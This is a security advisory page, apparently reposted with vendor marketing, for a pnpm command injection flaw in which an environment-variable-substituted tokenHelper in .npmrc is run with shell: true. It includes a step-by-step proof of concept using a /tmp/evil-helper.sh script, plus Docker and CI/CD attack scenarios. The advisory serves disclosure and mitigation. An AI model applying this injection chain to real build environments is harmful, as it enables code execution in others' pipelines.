GHSA-2phv-j68v-wwqx
HIGHpnpm vulnerable to Command Injection via environment variable substitution
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
pnpmnpmDescription
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
- Package: pnpm
- Versions: All versions using
@pnpm/config.env-replaceandloadTokenfunctionality - File:
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()function - File:
pnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitution
Technical Details
Vulnerability Chain
-
Environment Variable Substitution
.npmrcsupports${VAR}syntax- Substitution occurs in
readLocalConfig()
-
loadToken Execution
- Uses
spawnSync(helperPath, { shell: true }) - Only validates absolute path existence
- Uses
-
Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achieved
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}
Proof of Concept
Prerequisites
- Private npm registry access
- Control over environment variables
- Ability to place scripts in filesystem
PoC Steps
# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
# 4. Trigger pnpm install
pnpm install # RCE occurs during auth
# 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
- CVSS Score: 7.6 (High)
- CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk:
- CI/CD pipelines (GitHub Actions, GitLab CI)
- Docker build environments
- Kubernetes deployments
- Private registry users
Low Risk:
- Public registry only
- Production runtime (no pnpm execution)
- Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCE
Scenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds
Disable tokenHelper:
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKEN
Audit environment variables:
- Review CI/CD env vars
- Restrict .npmrc changes
- Monitor build logs
Recommended Fixes
- Remove
shell: truefrom loadToken - Implement helper path allowlist
- Validate substituted paths
- Consider sandboxing
Disclosure
- Discovery: 2025-11-02
- PoC: 2025-11-02
- Report: [Pending disclosure decision]
References
- Repository: https://github.com/pnpm/pnpm
- Affected:
@pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang Contact: [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | ≥ 6.25.0&&< 10.27.0 | 10.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pnpm to 10.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2phv-j68v-wwqx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2phv-j68v-wwqx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2phv-j68v-wwqx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2phv-j68v-wwqx in your dependencies?
O3 detects GHSA-2phv-j68v-wwqx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.